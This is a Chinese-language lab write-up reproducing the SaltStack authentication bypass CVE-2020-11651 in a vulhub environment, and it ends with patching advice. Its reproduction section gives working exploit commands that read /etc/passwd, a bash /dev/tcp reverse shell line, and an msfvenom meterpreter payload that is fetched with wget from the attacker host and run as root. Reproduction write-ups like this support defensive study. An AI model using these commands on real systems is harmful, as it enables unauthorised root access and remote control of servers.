

CVE-2020-11651: SaltStack认证绕过复现

原创 microworld Timeline Sec

2020-05-21原文

收录于话题

#漏洞复现文章合集

70个

点击上方蓝色字体关注我们，一起学安全！

本文作者：microworld（团队复现组成员）

本文字数：871

阅读时长：2~3min

声明：请勿用作违法用途，否则后果自负

0x01 简介

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。

0x02 漏洞概述

在 CVE-2020-11651 认证绕过漏洞中，攻击者通过构造恶意请求，可以绕过 Salt Master 的验证逻辑，调用相关未授权函数功能，从而可以造成远程命令执行漏洞。

ClearFuncs类会处理非认证的请求和暴露_send_pub()方法，可以用来直接在 master

publish 服务器上对消息进行排队。这些消息可以用来触发 minion 来以 root 权限运行任意命令。

ClearFuncs 类 还 会 暴 露 _prep_auth_info() 方法，该方法会返回用来认证 master 服务器上本地 root 用户的命令的 root key。然后 root key 就可以远程调用 master 服务器的管理命令。这种无意的暴露提供给远程非认证的攻击者对 salt master 的与 root 权限等价的访问权限。

0x03 影响版本

- SaltStack < 2019.2.4
- SaltStack < 3000.2

0x04 环境搭建

直接使用 vulhub 进行搭建

```
git clone https://github.com/vulhub/vulhub.git
```

```
cd /vulhub/saltstack/CVE-2020-11651/
```

```
docker-compose up -d
```

查看环境是否启动 docker ps

| CONTAINER ID | IMAGE | COMMAND | CREATED | STATUS | PORTS | |
|-------------------|---------------------------|----------------------|--------------------------|---------------|--------------|------------------|
| 7e692ab98e72 | vulhub/saltstack:2019.2.3 | NAMES | "/usr/bin/dumb-init ..." | 6 seconds ago | Up 4 seconds | 0.0.0.0:4505-450 |
| 6->4505-4506/tcp, | 0.0.0.0:8000->8000/tcp, | 0.0.0.0:2222->22/tcp | cve202011651_saltstack_1 | | | |

0x05 漏洞复现

Poc:

<https://github.com/jasperla/CVE-2020-11651-poc>

执行前需要安装 salt 库，需指定 salt 库版本

```
pip3 install salt=2019.2.3
```

靶机ip: 192.168.232.170

攻击机ip: 192.168.232.129

读取文件:

```
python3 exploit.py --master 192.168.232.170 -r /etc/passwd
```

```
root@kali:~/Desktop/cve-2020-11651/cve-2020-11651# python3 /root/Desktop/cve-2020-11651/CVE-2020-11651-poc/exploit.py --master 192.168.232.170 -r /etc/passwd
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 2019.2.3
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.232.170:4506) status ... ONLINE
[+] Checking if vulnerable to CVE-2020-11651 ...
[*] root key obtained: BW90Ll8vrp+0ge90pMTkPEPoU8foTa0eDKIXPTfhb97BjCTAq+JE28nXx6P1xo63W/xH6pOLbY4=
[+] Attempting to read /etc/passwd from 192.168.232.170
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

尝试反弹shell时发现，因为搭建的docker环境中并不存在nc命令

```
bash: !command: command not found
root@8abd4c928b8c:/# nc
(bash: nc: command not found
root@8abd4c928b8c:/# exit
```

所以不能照搬原作者的命令，于是我一开始准备用最原始的反弹shell命令：

```
bash -i >& /dev/tcp/192.168.232.129/23333 0>&1
```

经验证似乎我没成功，问了作者，给了回答：

No that will be due to issues with file descriptors between your shell and the python code.
Alter the POC to use a pure python reverse shell rather than calling bash and it will work.

我想了一下，采用了另一个办法：（此处更换了另一个脚本，命令稍有不同）

<https://github.com/dozernz/cve-2020-11651>

在靶机上生成一个木马：

```
root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.129 LPORT=23333 -a x86 --platform linux -f elf > shell
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
```

然后开启本机apache2，执行命令进行远程下载：

```
48675', 'jid': '20200505161405648675'}. Looks promising!
root@kali:~/Desktop/cve-2020-11651/cve-2020-11651# python3 CVE-2020-11651.py 192.168.232.170 master 'wget http://192.168.232.129/shell|./shell'
Attempting to ping master at 192.168.232.170
Retrieved root key: BW90Ll8vrp+0ge90pMTkPEPoU8foTa0eDKIXPTfhh97BjCTAq+JE28nXx6P1xo63W/xH6pOLbY4=
Got response for attempting master shell: {'tag': 'salt/run/20200505173151824709', 'jid': '20200505173151824709'}. Looks promising!
```

然后添加可执行权限：

```
67321', 'jid': '20200505173230467321'}). Looks promising!  
root@kali:~/Desktop/cve-2020-11651/cve-2020-11651# python3 CVE-2020-11651.py 192.168.232.170 master 'chmod +x shell|./shell'  
Attempting to ping master at 192.168.232.170
```

最后运行：

```
00029', 'jid': '2020050517321000029'}). Looks promising!  
root@kali:~/Desktop/cve-2020-11651/cve-2020-11651# python3 CVE-2020-11651.py 192.168.232.170 master './shell'  
Attempting to ping master at 192.168.232.170  
Retrieved root key: RW80L18vwp0Gce80nMTkP5R0U8foTa0eDKTYPT5hb97BjCTAg+JF28n
```

得到了会话：

```
meterpreter > sysinfo  
Computer      : 172.27.0.2  
OS            : Debian 10.3 (Linux 4.18.0-20-generic)  
Architecture : x64  
BuildTuple   : i486-linux-musl  
Meterpreter  : x86/linux  
meterpreter > █
```

0x06 修复方式

1、SaltStack官方已发布最新版本修复此漏洞，建议相关用户及时更新至安全版本及其以上，并开启SaltStack自动更新，以便实时获取补丁或升级至安全版本：<https://repo.saltstack.com/>

2、禁止、禁止将 Salt Master默认监听端口（4505、4506）向公网开放，并设置为仅对可信对象开放。

参考链接：

<https://labs.f-secure.com/advisories/saltstack-authorization-bypass>

<https://mp.weixin.qq.com/s/1wgJeRnxD--K6kXGKWUM4w>



阅读原文看更多复现文章

Timeline Sec 团队

安全路上，与你并肩前行



精选留言

用户设置不下载评论

[阅读全文](#)